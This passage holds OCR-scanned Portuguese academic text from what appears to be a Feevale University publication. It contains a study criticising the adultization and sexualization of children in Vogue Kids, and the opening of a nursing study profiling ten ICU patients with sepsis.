com as contribuigcbes de teoricos como Zygmunt Bauman (2008), para discutir questdes da
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cultura do consumo, de Neil Postman (1999) para reflexdes cultura e comunicagéo e as contri-
buicoes de Gilles Lipovetsky (2005), sobre luxo e moda.

A pesquisa tem como hipotese que as duas publicacdes, tanto a Vogue quanto a Vo-
gue Kids, representam adultos e criancas da mesma maneira. No caso da Vogue Kids, a ima-
gem infantil parece ser retratada sem levar em consideragao as particularidades da infancia
e vinculada, na maioria das vezes, somente ao cenario do mundo adulto. Ressalta-se que o
presente estudo faz parte de uma pesquisa maior, intitulada Um estudo sobre Midia e Direitos
das Criancgas: discutindo a cultura do consumo e a infancia contemporanea, coordenada pela

professora Doutora Sarai Schmidt da Universidade Feevale.

O consumo em excesso, 0 presente exibicionismo nas novas midias e a tecnologia que
se renova a cada dia, sao tragcos da sociedade contemporanea na qual a nova geragao esta
inserida. A infancia, que € uma fase de iniciagdo da vida na qual aprendizagem e cuidados
sa0 sempre necessarios passam pela diversidade de acontecimentos da sociedade que agora

sao permeados pela tecnologia onde a imagem e 0 consumo parecem estar sempre presentes.

A crianga ao nascer ja ingressa em um mundo altamente tecnolégico muit
diferente daquele mundo moderno de seus pais, constituindo-se, enquanto sgr
humano, de uma maneira bem diferente do que as criangas que nasciam,
exemplo, no final do século XIX ou inicio do século XX. (MOMO, 2007, p.

A falta do controle de informacao na midia impressa e virtual faz com que temas do/mun-

do adulto se misturem com o infantil. Como cita Schor (2009), o declinio das brincadeiras,/jogos




infantis, desaparecimento do vestuario infantil a erotizacao da crianga por meio de concursos
de beleza e anuncios publicitarios séo fatores que sugerem o desaparecimento da infancia
como era vista antigamente. Essa hipotese, também é abordada por Postman (1999) que afirma
que a base que separava as duas fases nao é mais possiveis ja que o cuidado com a exposicao
de conteudos e informagodes, antes restritas as criangas, esta exposto através da midia.
A fronteira que separava o mundo adulto do infantil se quebrou devido ao fato
de que os dois principios fundamentais dos quais tal fronteira dependia ja nao

sao mais possiveis: o controle de informacgéao e a sequéncia de aprendizagem.
(POSTAMAN apud DIAZ, 2010, p. 195-196).

Segundo Georgen (2007), a midia através de seus recursos linguisticos e imagéticos

para seduzir 0s individuos e conseguir estimular a orientagao e o comportamento dos mesmos.

De acordo com Fisher (2002), além das criangas, os proprios pais sdo induzidos a educar
seus filhos conforme aos padrdes propostos pela midia. Ja as criangas tentam desvendar os
segredos do mundo adulto através da midia, e se inserir no mesmo, buscando conhecimentos

que antes descobertos de forma regularizada através da educacgao familiar e escolar. Como

cita Postman (1999) “todo meio de comunicagéo [...] contribuiu com sua parte para libertar as
criangas do limitado circulo da sensibilidade infantil. ”

Desde os anos 80, empresas dos mais diversos segmentos vem notando o potencigl
das criancas como consumidoras e investindo em anuncios publicitarios voltados para egse
publico. (Schor, 2009, p.36). Esse subito interesse do mercado no universo infantil se deve,
segundo Furtado (2007), pelo fato de que apesar das criancas serem individuos em formagéo,

possuem grande influéncia no consumo dos pais e vao vir a ser 0s consumidores do futuro.



umario

Bauman concorda que as criangas vem sendo alvo do mercado, através de meios midiaticos,
pelo fato de serem os futuros adultos a consumir “tao logo aprender a ler, ou talvez bem antes,

a ‘dependéncia das compras’ se estabelece nas criancas. " (BAUMAN, 2008, p.73)

As criancas demonstravam um poder sem precedentes de gastar e uma capa-
cidade inusitada e influenciar seus pais. Assistiam também ao maior numero de
horas de televisdo ja registrado. Manifestam uma independéncia que nenhuma
geragéo anterior havia alcangado. O problema, portanto,era fazé-la comprar o
que era oferecido.(SCHOR,2009,p.37).

Postman (1999) lembra que pelo fato das criangas estarem cada vez mais imersas no
mundo adulto, € normal que problemas dessa fase, como o consumo, fagam parte do cotidiano

dos pequenos também “porque como as criangas sao admitidas cada vez mais em aspectos

da vida adulta, Ihes pareceria arbitrario exclui-las de um dos mais importantes: vender. "Bau-
man(2007) sugere que talvez seja favoravel que as criancas tenham informacao sobre consu-
mo ja que se tornarao os consumidores do futuro.

Segundo Schor (2009) com o mundo cada vez mais regulado — principalmente pela mi-

dia- € de se esperar que criancas facam parte do consumismo desenfreado, 0 que € notavel em
revistas de moda onde “marcas e produtos determinam quem esta ‘por dentro’ e quem esta ‘por

fora’, quem é ‘quente’ e quem ndo &', quem tera amigos e quem naotera. ” (SCHOR, 2009, p.4)




PROCESSO DE
NALISE

Revistas sao periodicos informativos que podem servir como ilustragcao de varias épo-
cas da sociedade se usado para estudo, ja que em especial as de moda, podem trazer infor-
macoes das situacoes em que se encontravam a sociedade em determinadas épocas, suas
vestimentas e estilos de vida. Por isso, para esse estudo, visando observar como a imagem da
crianga esta associada a do adulto, foi realizada uma analise da revista Vogue Kids dos anos
2014 e 2015.

De acordo com Veras (2012) a revista Vogue Brasil, teve sua primeira publicacao em
1975 editada pela Carta Editorial, com a mesma proposta das Vogues internacionais —que teve
inicio em 1892 e com publicactes em 21 paises- que é difundir tendéncias do mundo da moda
e mostrar o estilo de vida do high society. A revista conta com campanhas publicitarias de mar-

cas de luxo, editoriais de moda e matérias sobre estilo, personalidades, eventos e lazer. Alem

da Vogue principal, existem suplementos da mesma, a Homem Vogue, Teen Vogue, Vogue
Noivas, Casa Vogue e a ser analisada por essa revista, a Vogue Kids. Segundo Veras (2012) a
Vogue Kids era publicada duas vezes no ano desde 2006, e em 2012 passou a ser publicada

trimestralmente.

A revista Vogue Kids, um dos objetos de estudo deste trabalho, apresenta editoriais de
moda, campanhas publicitarias e matérias relacionadas a moda, lazer, familia e educacao em
torno do publico infantil elitizado, mas direcionada ao publico adulto. Veras cita, de acordo co
o editorial da revista de margo de 2012, que a editora Daniela Falcao sugere que o aum
de publicagdes da Vogue infantil se deve ao fato do forte crescimento e interesse do mergado

de moda infantil no Brasil.



Tabela 1: exemplo de tabela

Chamada Dirtywashed
Text Faga um mix de diferentes lavagens e aposte em looks total
exto ) ; .

jeans para vestir os seus adoraveis rebeldes.

Estilo All jeans/normcore
L Produgao interna com muito barro no chao e nas roupas e nas

Cenario (s) )

criangas

N Meninos e meninas alguns se divertindo e outros sérios, com

Poses/expressoes

bragos cruzados ou poses de modelo.

All jeans: camisas, salopetes, shorts, saias, bermudas, calcas.
Roupas

Observagao

Todos de all star branco.

Criangas usando roupas que nao seriam confortaveis para
brincar, em um cenario em que vinculado a infancia, lembra
diversao.

Fonte: proprio autor

Um dos recursos utilizados na pesquisa foi uma analise
visual dos editoriais de moda e campanhas publicitarias, que
representam estilos de vida baseados em cenarios e vestimen-
tas com o conceito das marcas ou tendéncias trazidas pela
revista. Esse enfoque nas fotografiasserviu de complemento
imageético para o levantamento de questdes sobre o universo
infantil ja trazida por alguns autores.

[...] a imagem oferece um registro restrito,
mas poderoso das acdes temporais e dos
acontecimentos reais —concretos, materiais.

[...] embora a pesquisa social esteja tipica-
mente a servico de complexas questoes te-

oricas e abstratas, ela pode empregar, como
dados primarios, informagao visual. (BAUER;
GASKELL, 2008, p.137).

Dentro dos 7 periodicos analisados, 49 campanhas

publicitarias e 9 editoriais de moda da Vogue Kids e 387 cam-
panhas publicitarias e 15 editoriais de moda na Vogue Brasil.
Sendo selecionados, dentre o tema adultizacéo, 13 editoria
de moda e 32 campanhas publicitarias para criar as chama
fichas descritivas que consistem em aprofundar o recursg de
imagem descrevendo-as em detalhes como cenario, estil

pressoes e vestimentas, como pode ser observado na tabela 1.



Apbs analisar as tabelas, foram criadas categorias para organizar as matérias basea-
das em temas recorrentes observados nesses editoriais e campanhas publicitarias em torno da

adultizacao da crianca.

3.1 CATEGORIZACAO DO MATERIAL

A criangca como miniadulto € tema notavel em diversos meios de comunicagao, onde a
crianga é representada como um adulto em miniatura. Vardo e Bemfica(2009) relembram que
entre os séculos XVI ao XVII o conceito de infancia era associado ao conceito da fase adulta
porgue acreditava-se “[...] que a crianca fosse um simples homunculo, cujas diferengas do
adulto se limitassem a tamanho e se reproduzissem a aspectos quantitativos. ” (CARVALHO,
1989, apud VARAQ; BEMFICA, 2009, p.2)

Na revista Vogue Kids podem ser observadas, em grande quantidade, imagens de crian-
cas imersas no mundo adulto, desde muito novas seguindo tendéncias de moda do mundo
adulto que sao vistas também na Vogue Brasilemcenarios do cotidiano e atividades dos adultos
como carros, cafeterias e iates. Além de expressodes e beleza muito semelhantes a grandes
modelos de semblantes sérios, magreza excessiva e vestes adultizadas, como pode ser compa-

rada nas figuras 1 e 2.Nos editoriais € campanhas referentes a essa categoria € mostrado que a

busca da beleza ideal e tendéncias do mundo da moda ja sao impostos muito cedo na vida dds
criangas, Lipovetsky (2001) diz que “no coragao da publicidade trabalham os proprios principios

da moda: a originalidade a qualquer preco, a mudanca permanente, o efémero”.




R = ey . ) :
Figura 1:Vogue Brasil Fevereiro 2015 Figura 2: Vogue Kids Verao 2014
Fonte: Vogue Brasil, 2015 Fonte:VogueKids, 2014




umario

A variedade de estilos propostos de forma efémera na Vogue Brasil, com a ideia de
must-have(traduzido: precisa-ter) faz “depreciar e desvalorizar os produtos de consumo logo
depois de terem sido promovidos no universo dos desejosos consumidores. ” (BAUMAN, 2008,

p.64), € um dos problemas do mundo da moda que comega a ser notado no mundo infantil.

Dentro da Vogue Kids também é perceptivel a pouca variedade de etnias e corpos, tornando a
retratagao infantil escassa e exclusivista como também € na Vogue adulta.

Séo consideraveis os anuncios com insinuagdes eroticas pois “as criangas crescem
num ambiente saturado de midia, no qual se dé énfase ao sexo. ” (DURHAM, 2009, p.30)
Postman (1999) ressalta que € comum ver criangas sendo retratadas como objetos eréticos e
adverte que deveriam existir distincéo entre criangas e adultos dentre o tema sexualidade. Na

categoria “sexualidade e erotizagao”, foram apontados editoriais onde, em especial meninas

entre 10 e 12 anos, eram mostradas em poses sensuais, com feicoes insinuantes ou com ves-

tuario apelativo.

Cada vez mais, temas sexuais adultos misturam-se com a infancia — especifica-
mente com a adolescéncia feminina, moldando um ambiente no qual as garotas
sao vistas, cada vez mais, como participantes legitimas de uma cultura publica
do sexo. (DURHAM, 2009, p.117).




infantil, ac ik de tricds comisana,
Jeans @meias - look parfeito pan tardes

Figura 3: Vogue Brasil Dezembro 2014 Figura 4: Vogue KidsPrimavera 2014
Fonte: Vogue Brasil, 2014 Fonte:VogueKids, 2014



Guesi it pravd le moke 3 one mllion auro anneal grent 1o UNKCEF's
“Schoals for Adrica” initicfies on baha of the Gueei children's collectian,
- use on education it o gilt farevar,

Figura 5: Vogue Kids Verao 2014
Fonte:VogueKids, 2014

A insinuacao de uma “quase nudez”, poses sensuais
e pouca vestimenta como saoexemplos nas figuras 3 e 4, séo
comuns se pensarmos que é “dito as garotas que a exibicao
do corpo lhes atribui poder. " (DURHAM, 2009, p.80) e que
somos “[...] somos chamados ou a cuidar de nosso corpo ou
a olhar para a nossa sexualidade. ” (FISCHER, 2002, p.160) E
na Vogue Kids, entre tantas semelhangcas com a Vogue adulta,
traz criancas de forma sexualizadaonde usam maquiagem em
excesso, roupas curtas, fazem poses sensuais e esbocam ex-
pressoes sedutoras.

Ja na categoria “infancia idealizada” foram agrupadas
imagens de criancas que possuem estilo tradicional como o de
seus pais. Usam pecas de alfaiataria e alta costura desde no-
vas, por serem 0s pais, 0s consumidores desse tipo especifico
de segmento de vestuario que traz a ideia de marca-pessoa por
serem pegas classicas e feitas, na maioria das vezes, sob medi-
da. (Figura5) “Os produtos devem tornar-se estrelas, é preciso
transformar os produtos em ‘seres vivos’, criar ‘marcas pesso
com um estilo e um carater. ” (LIPOVETSKY, 2001, p. 187)

As imagens que remetem a esse tipo de proposta/ sao
as que 0s cenarios possuem um certo refinamento nos tena-

rios, um conceito ludico, criancas de expressoes sérias je rou-




4 CONCLUSAO

pas ajustadas ao corpo. “Fotos caprichadas, interior de luxo, refinamento dos cenarios, beleza
dos corpos e rostos, a publicidade poetiza o produto e a marca, idealiza o trivial da mercadoria.

" (LIPOVETSKY, 2001, p. 188)

A partir da analise da revista Vogue Kids, pode ser observada a multiplicidade de for-
mas a ser vivida a infancia, como vem sendo apontado por diversos autores que, por vezes,
sugerem o desaparecimento da infancia.

Através da analise foi percebido que dentro da revista a adultizagcao da infancia se da
através de criangas inseridas dentro do cotidiano adulto, praticando atividades que nao con-
dizem com suas idades.

Ultimamente a ideia de que criangas devem ser como seus pais esta presente no mun-
do da moda atraveés de roupas iguais para pais e filhos. Na Vogue Kidsesse tipo de “agao” tem
ganhou o0 nome de “mini me” e serve para agrupar, cada vez mais, o0 mundo adulto e mundo
infantil e faz a crianca se sentir cada vez mais pertencente ao cotidiano adulto e afastada do
ludico da infancia.

A crianca vem sendo cada vez mais apresentada ao sexo, tanto por conteudos eroticos
que as permeiam, quanto como representada como fazendo parte disto e na Vogue Kidsuma
das categorias mais recorrentes na revista € da sexualizacao, que traz, em especial meniras,
com grande apelo sexual com suas poses e roupas ousadas.

Conclui-se, portanto, que a crianca esta cada vez mais em evidéncia na sociedade de

consumo por serem consideradas consumidores em potencial no futuro e por terem influéncia




de compra sob seus pais, tendo uma autonomia maior na hora de consumir. Além de estarem
sendo encaminhadas ao consumismo, com tanta publicidade direcionada a elas dos mais di-
versos veiculos midiaticos, estao sendo retratadas pela midia de forma adultizada e sexuali-
zada.Alem disso, percebeu-se que a publicidade tem representado as criangas sem levar em
conta as particularidades da infancia. A revista mostra o que os autores afirmam: ha hoje, uma

pluralidade de infancia, nao se extingue a uma maneira so.
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A sepse é uma doenca caracterizada por respostas inflamatdrias provocadas por um ou mais focos infecciosos
e representa grande parte da demanda de trabalho da equipe de enfermagem. O objetivo do estudo foi
apresentar resultados parciais de um trabalho de conclusao de curso, que identificou caracteristicas em uma
amostra de 10 pacientes com sepse, internados no Centro de Terapia Intensiva. 0 método utilizado neste
estudo foi de abordagem quantitativa, descritiva, documental, através de prontudrios de pacientes adultos,
de delineamento transversal. O estudo foi aprovado pelos Comités de Etica em Pesquisa da Universidade
Feevale e instituicao coparticipante. Neste estudo houve a prevaléncia do sexo masculino em 60% (n=10)
dos casos, idade média de 70 anos e 9 meses. 80% (n=10) dos pacientes foram provenientes da emergéncia
e 80% (n=10) dos casos foram diagnosticados no momento da internacao no CTl. O foco infeccioso de maior
prevaléncia foi do trato urindrio em 60% (n=10) dos casos e o desfecho da internacdo no (Tl foi de alta
em 60% (n=10) dos casos. Conclui-se que cada instituicao deva tracar o perfil dos seus clientes e fluxos de
entrada, para treinamento das equipes na identificacao precoce da sepse e tratamento com brevidade para
melhor prognéstico.

Palavras-chave: Sepse. Enfermagem. Terapia intensiva.

ABSTRACT

Sepsis is a disease which is characterized by inflammatory responses caused by one or more infectious
outbreaks, and it represents a great deal of nursing staff workload. The aim of this study was to present
partial results from a final paper of an undergraduate course, which has identified characteristics in a sample
of ten patients with sepsis admitted to the Intensive Care Unit. The method used in the implementation of
this study was quantitative, descriptive, and documentary, through the medical records of adult patients, in
a retrospective cross-sectional design. It has been approved by the Research Ethics Committee of Feevale
University and the co-participant institution. In this study, there was a prevalence of males in 60% (n=10) of
cases, whose average age was 70 years and 9 months old. 80% (n=10) of patients were from the emergen-
¢y and 80% (n=10) of cases were diagnosed upon admission in the ICU. The infectious outbreak of highest
prevalence was the urinary tract in 60% (n = 10) of cases and the outcome of ICU admission was high in 60%
(n = 10) of cases. It was concluded that each institution shall outline the profile of its clients and inflows,
for team training in the early identification and brief treatment of sepsis in order to achieve better prognosis
Keywords: Sepsis. Nursing. Intensive care.




INTRODUCAO Sepse € uma doenca caracterizada por respostas inflamatorias provocadas por um ou
>
mais focos infecciosos e trata-se de uma doenca de grande expressao no cenario da saude

mundial, visto que os gastos com pacientes gravemente enfermos com este diagnostico séo

elevados. Além desse importante impacto econémico, a patologia tem indices elevados de
mortalidade (SORIANO; SILVA, 2007; MATOS E VICTORINO, 2004).

No presente cenario a sepse representa grande parte da demanda de trabalho dos
enfermeiros, da equipe de enfermagem e demais profissionais que compdem as equipes mul-
tidisciplinares, no mundo todo em todas as unidades de tratamento em que os pacientes se
encontram, principalmente nas Unidades de Terapia Intensiva (UTI’s).

O foco da enfermagem, seja ela assistencial ou de ensino é baseado nas relacdes

entre seres humanos e a interagao entre o zelo, a solidariedade, consciéncia e o amor. Tem

como objetivo final o processo de cuidar, na compreensao, execugao e condigcoes que este €
executado. O conhecimento € fundamental para a compreensao e reconhecimento das neces-
sidades dos pacientes nas mais diversas situagoes (VALE; PAGLIUCA, 2011).

Portanto, neste estudo foram abordadas as caracteristicas dos pacientes com sepse

no CTI, tendo como objetivo apresentar resultados parciais de um trabalho de conclusao de
curso que identificou algumas caracteristicas em uma amostra de 10 pacientes com diagnds-
tico de sepse, internados em um Centro de Terapia Intensiva de um Hospital privado de Porfo
Alegre — RS.

A proposta metodologica utilizada na execucao do estudo foi de abordagem quantita-
tiva, descritiva e através dos prontuarios dos sujeitos de pesquisa, em carater retrospe

com delineamento transversal, através de pesquisa documental.




Este estudo contribuira para a comunidade académica e aos profissionais da equipe
de enfermagem, na compreensao quanto a importancia de algumas acoes para alcance do
cuidado de qualidade. Servira para orientar suas condutas na assisténcia ao paciente critico
com diagnostico de sepse, contribuindo para o nao agravamento da doenga e despertando o
interesse de novos pesquisadores sobre o tema, no que se refere ao desenvolvimento de pra-
ticas baseadas em evidéncias em relacao ao cuidado do paciente com sepse.

Em 1991 ocorreu uma Conferéncia de Consenso, com a participacao de pesquisadores e
responsaveis por cuidados intensivos, em busca do estabelecimento de algumas definicoes, que
visam a padronizacao de critérios diagnosticos e informagdes que promovam o reconhecimento
e tratamento precoce da sepse e facilitam a realizagdo de estudos clinicos (SILVA et al., 2006).

Sendo a primeira definicao a sindrome da resposta inflamatoria sistémica, pode que estar
presente em diversas situacoes ou injurias, como queimaduras, pos-trauma, rabdomiolise, pan-
creatite, pos-operatorio de cirurgia cardiaca, sepse entre outros (PEREIRA JUNIOR et al., 1998).

Segundo Pereira Junior et al. (1998), Silva et al. (2006), Viana; Whitaker e Colaborado-
res (2011), Oliveira e Viana (2013), que abordam as definicoes estabelecidas no consenso de
1991, convergem ao caracterizar a SIRS pela presenga de no minimo dois dos critérios abaixo:

«  Temperatura corporal - > 38° C ou temperatura corporal < 36°C.

«  Taquicardia - frequéncia cardiaca > 90 bpm.

«  Taquipneia — frequéncia respiratoria > 20 irpm ou PaCoZ< a 32 mmHg.

*  Leucocitose ou leucopenia — leucocitos > que 12.000 cels/mm? ou < 4.000 cels/

mm? ou a presenca de > 10% de formas jovens (bastoes).




Ja Matos e Victorino (2004), que discorrem sobre a sepse, relatam que a palavra sepse
significa a decomposicao da matéria organica por um agente agressor, podendo ser ele virus,
bactéria, fungo ou parasita. A sepse caracteriza-se quando a sindrome da resposta inflamato-
ria sistémica (SIRS) é decorrente de um processo infeccioso comprovado.

A eminéncia de infeccao pode ser constatada pela presenca de abcessos, empiemas ou
observagao de micro-organismos em tecidos ou liquidos previamente estéreis (SILVA et al., 2006).
Soriano e Silva (2007) definem infeccao como um episédio caracterizado por resposta inflamatoria
a um ou mais agentes microbianos ou presenca dos mesmos em tecidos previamente estéreis.

Oliveira e Viana (2013) afirmam que para comprovar sepse, € necessario que se tenha
dois ou mais critérios de SIRS, secundarios obrigatoriamente ao processo infeccioso. E Silva
et al. (2006), afirmam que a forte suspeita clinica é suficiente para o diagnostico, nao sendo
necessarios exames complementares para o inicio do tratamento.

A sepse grave € caracterizada pela presenca de sepse associada a disfungao organica
e disturbio de perfuséo tecidual. As alteracdes por disfuncao organica podem apresentar-se
como alteracao do nivel de consciéncia, diminuicao do deébito urinario, hipotensao arterial entre
outros (VIANA; WHITAKER; COLS, 2011).

Silva et al. (2006) e Soriano e Silva (2007) corroboram que a sepse grave ou sepse
severa e caracterizada por acidose latica, alteragdes secundarias aos disturbios de perfusao
tecidual, incluindo hipotensao arterial com pressao arterial sistolica inferior a 90 mmHg,
respondam a reposicao volémica severa e nao necessite de agentes vasopressores. Peareira
Junior et al. (1998) complementam que a hipotenséo arterial também pode ser representada

por redugao > que 40 mmHg no padrao basal do paciente.




Ha também uma terceira variavel para caracterizacao da sepse grave, segundo Ran-
zani et al. (2013), que é a concentracéo de lactato na corrente sanguinea (lactatemia) superior
a 4 mmol/l.

O choque séptico € o quadro clinico de sepse grave associada com anormalidades
de perfusao em diversos 6rgaos, associada ou nao a acidose metabolica e presenca de hipo-
tensao arterial que € refrataria a reposicao volémica adequada, e se faz necessario a adminis-
tracao de agentes vasopressores ou inotropicos para o restabelecimento da pressao arterial
adequada (MATOS; VICTORINO, 2004; PEREIRA JUNIOR et al.,1998).

Segundo Johnson e Henry (2013) o choque séptico é decorrente de trés principais
mecanismos fisiopatologicos do sistema cardiovascular desencadeados pela resposta infla-
matoria. Sao eles: a vasodilatacao, a ma distribuicao do fluxo sanguineo e a depressao do mio-
cardio. A vasodilatacao ocorre devido a liberacao de citocinas pelo processo pro-inflamatorio.
Estas citocinas promovem a interagcao do Oxido Nitrico (ON) com o endotélio vascular, onde
provoca uma potente vasodilacao disseminada que é resistente ao uso de agentes vasopres-
sores. Com essa vasodilatagcao, diminui o retorno venoso ao coragéo, reduz o débito cardiaco
e a resisténcia vascular sistémica.

Widrich e Gropper (2006) caracterizam a hipotensdo como presséao arterial sistélica <
80 mmHg. Ja Silva et al. (2006) tem como valor de referéncia a pressao arterial sistolica <
mmHg ou queda > que 40 mmHg em pacientes previamente hipertensos. Silva et al. (2006)
também refere a presenca de oliguria < 0,5 mL/Kg/h e alteracdes no nivel de consciéncia/sem

uso de sedativos como componentes do quadro clinico de choque séptico.




Para servir de alerta aos profissionais de saude ha alguns fatores de risco para o de-
senvolvimento do choque séptico, que podem ser relacionados ao hospedeiro e ao tratamen-

to. Relacionado ao hospedeiro incluem-se na lista, os extremos de idade, estado nutricional

desnutrido, debilitacao cronica e generalizada, uso abusivo de alcool e drogas, neutropenia,
esplenectomia e faléncia de multiplos 6rgaos. Quanto aos fatores relacionados ao tratamento,
inclui tudo que seja invasivo, uso de medicamentos e feridas traumaticas ou térmicas (JOHN-
SON; HENRY, 2013).

E evidente que quanto menos generalistas forem as definicdes, mais adequada sera a
escolha da terapéutica, menor o tempo de resposta da equipe para a execucao dos cuidados
e inicio do tratamento, colaborando para a nao progressao da doenca e melhora da sobrevida

dos pacientes em questao.

A sindrome de disfuncao de multiplos 6rgaos em pacientes agudamente enfermos, ca-
racteriza-se por alteracao na funcéao organica com faléncia de um ou mais sistemas ou 6rgaos
e gue requer intervengao imediata, de forma em que a homeostasia ndo possa ser mantida sem

as intervencoes terapéuticas adequadas (OLIVEIRA; VIANA, 2013; WIDRICH; GROPPER, 2006).

Comumente sao utilizados como parametro disfuncoes leves até faléncia total de seis
orgaos-chave, sendo eles: pulmdes, sistema cardiovascular, funcao renal, funcao hepatica,
estado neurologico e coagulagdo sanguinea (MATOS; VICTORINO, 2004).

Johnson e Henry (2013) dispdem que o grande responsavel pela progresséo da d
¢a e evolugao para a sindrome de disfuncao de multiplos 6rgaos € a ativacao da casca
coagulagao microvascular decorrente das lesoes celulares endoteliais provocadas pela/agao

anti-inflamatdria e endotoxinas. A partir da ativacéo da cascata de coagulagao formam-se pe-




2 DESENVOLVIMENTO

quenos coagulos que obstruem os vasos, causando hipoxia e danos nos tecidos, bem como
alteracoes das suas fungoes.

Todas as definicoes estabelecidas pelo consenso visam a identificacdo precoce da
sepse através dos sinais e sintomas apresentados pelo paciente e inicio do tratamento o mais

breve possivel.

2.1 EPIDEMIOLOGIA

Silva et al. (2006) relatam que nos ultimos anos varios estudos epidemiologicos de
sepse em todo 0 mundo vem comprovando e permitindo a compreensao da incidéncia, evolu-
cao, prognostico, mortalidade e elevados custos relacionados a doenca. Nos Estados Unidos
segundo estudo populacional ha, por ano, 750.000 casos de sepse grave no pais que € res-
ponsavel por mais de 215.000 mortes ao ano, o que mostra que nos Estados Unidos a taxa de
mortalidade dos pacientes com sepse grave € de cerca de 30%. Ja no Brasil, cerca de 25%
do total de leitos de Unidades de Terapia Intensiva (UTI)" adulto sdo ocupados por pacientes
que desenvolveram sepse e a taxa de mortalidade aproximadamente 50% (SORIANO; SILVA,
2007; MATOS E VICTORINO, 2004).

Widrich e Gropper (2006) complementam que o envelhecimento populacional e o/au-

mento da expectativa de vida tem uma tendéncia significativa para o aumento na incidéncia

' Segundo definicao da Agéncia Nacional de Vigilancia Sanitaria (ANVISA), denomina-se Unidade de Terapia Intensiva (UTI) a arda critica
destinada a internacao de pacientes graves, que requerem atengao profissional especializada de forma continua, materiais e tegnologias
especificas necessarias ao diagnostico, monitorizagéo e terapia.




em 1,5% de sepse ao ano. Brito et al. (2013) indicam que o envelhecimento populacional &
um fendmeno global, que é consequéncia do declinio na taxa de fertilidade e do aumento da
expectativa de vida que avanca de maneira galopante.

No Brasil, numeros ainda mais alarmantes foram expressos pelo estudo do banco de
dados Brazilian Sepsis Epidemiological Study (BASES), que aponta que a sepse é a doenca
que gera maiores custos aos setores publicos e privados, devido a necessidade de utilizagao
de alta tecnologia, equipamentos e medicamentos de alto custo além da demanda de muitos
cuidados de equipe multiprofissional, composta pela equipe de enfermagem, nutrigao, fisiote-
rapia, equipe médica, farmacéutica e de servicos de apoio como hemodinamica e diagnéstico
(SORIANO; SILVA, 2007).

Conforme Soriano e Silva (2007), em 2003 os gastos com pacientes internados em
Unidade de Terapia Intensiva (UTI) somaram 17,34 bilhdes de reais, o que representa cerca de
30% a 35% dos gastos globais com a saude. As estimativas nacionais sao de 398 mil casos em
2003, evoluindo para choque séptico e obito, cerca de 227 mil pacientes ao ano.

Em outro estudo realizado durante cinco meses pelo banco de dados BASES, que ava-
liou diariamente todos os pacientes admitidos em cinco UTI's a densidade de incidéncia de
sepse foi de 61,4, de sepse grave 35,6 e de choque séptico 30, por 1.000 pacientes-dia (SILVA
et al., 2006).
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2.2 TRATAMENTOS E MONITORIZACAQ

Assim que diagnosticado sepse, € necessario que se inicie a abordagem do foco infec-

cioso atraves da drenagem por pungao ou cirurgica na presenca de foco purulento e antibiotico-

terapia precoce e empiricamente, de acordo com dados clinicos e epidemioldgicos que suge-
rem maior incidéncia e resisténcia do patdégeno . O uso indiscriminado de antibioticos também
pode favorecer a ocorréncia de superinfecgoes e bactérias multirresistentes (VIANA, 2013).
Sob a perspectiva de monitorizacéo deste paciente, alguns aspectos sao essenciais,
como o lactato sérico, servindo como indicador de hipoxia tecidual, saturagao venosa de oxi-
génio, hemocultura e demais culturas que tenham sido coletadas, Pressao Venosa Central,

Pressao Arterial Média (PAM) que deve se manter > que 65 mmHg, débito urinario, que deve

permanecer superior a 0,5 mL/kg/h, e glicemia (MESQUITA, 2013).

2.4 METODOLOGIA

Optou-se por desenvolver um estudo documental, fazendo uso dos prontuarios dos

sujeitos de pesquisa, delineamento transversal, de carater retrospectivo e de abordagem
quantitativa. A pesquisa ocorreu em um hospital privado de Porto Alegre - RS. Esse hospital
€ uma instituicao privada, que atende pacientes de todos o0s niveis de assisténcia neonatal
pediatrica e adulta. A coleta de dados foi realizada no Centro de Tratamento Intensivo adulto
(CTI)? desse hospital, que possui 31 leitos. O CTI & subdividido em trés areas, a saber: uni
neurologica, cardiolégica e geral. A equipe assistencial € composta por 23 enfermeirg

2 Segundo definicdo da Agéncia Nacional de Vigilancia Sanitaria (ANVISA), denomina-se Centro de Tratamento Intensivo
agrupamento de duas ou mais UTI's em uma mesma area fisica.




técnicos de enfermagem, médicos intensivistas, fisioterapeutas, nutricionista, fonoaudiologis-
ta, funcionarios administrativos, profissionais em formacao de nivel técnico de enfermagem e
residéncia meédica.

A populacao do estudo foi composta por pacientes internados na CTI da referida insti-
tuicao, entre julho e outubro de 2014, tendo como amostra 10 prontuarios de pacientes inter-
nados no CTI.

Quanto aos critérios de inclusao no estudo, o paciente deveria ter sido internado entre
julho e outubro de 2014, ter diagnostico de sepse, idade superior a 18 anos, de ambos 0s
sexos, e que tivessem informacoes pertinentes ao estudo, com o diagnostico de sepse e pres-
cricao de enfermagem, registradas corretamente no prontuario.

A prescricao de enfermagem foi um dos documentos analisados, pois faz parte dos
registros das intervencoes de enfermagem obrigatorios e fez-se necessario para atingir outro
objetivo do trabalho de conclusao de curso que também deu origem a este estudo.

Conforme a Resolugdo do Conselho Federal de Enfermagem (COFEN) n°® 358/2009 que
dispde sobre a Sistematizacéo de Enfermagem e a implementacao do Processo de Enferma-
gem resolve que além de operacionalizar as acdes de enfermagem, o processo de enferma-
gem torna possivel a documentacao legal das praticas profissionais. A mesma resolugéo ainda
dispbe sobre o registro formal no prontuario do paciente, que deve conter: um resumo dgs
dados coletados (anamnese e exame fisico), os Diagnosticos de Enfermagem, Intervengpes
de Enfermagem realizadas, através da prescricao de enfermagem e os resultados alcancados

com as intervencoes (BRASIL,2009).




Para isso a amostra foi determinada por acessibilidade ou conveniéncia, que segundo
Prodanov e Freitas (2013), o pesquisador seleciona elementos aos quais tem acesso e admite

que estes de alguma forma possam representar a populacao. Foram selecionados os 10 pri-

meiros pacientes que internaram na CTI adulto no periodo pré determinado. Seriam excluidos
do estudo os prontuarios dos pacientes com registros nao legiveis ou incompletos e prontua-
rios de pacientes com idade inferior a 18 anos.

O estudo seguiu todas as diretrizes e normas regulamentadoras de pesquisa em seres
humanos conforme a Resolucao n° 466/2012 do Conselho Nacional de Saude (CNS), toda pes-
quisa que envolva, de forma direta ou indiretamente, seres humanos tém necessariamente que
haver apreciacéo de um Comité de Etica e Pesquisa (CEP), (BRASIL, 2012).

Apods conclusao do projeto de pesquisa, 0 mesmo passou pela banca examinadora e

foi encaminhado para o CEP da Universidade Feevale, onde foi aprovado com o parecer de
numero: 951.560 e posteriormente ao CEP da instituicao onde foi realizado o estudo, aprovado
sob o numero do parecer: 1.059.04. A partir desse momento foi realizado contato prévio com a

coordenacao da instituicao em estudo, solicitando autorizacao para entrada em campo.

Os dados coletados pela pesquisadora, formularios preenchidos e instrumentos de co-
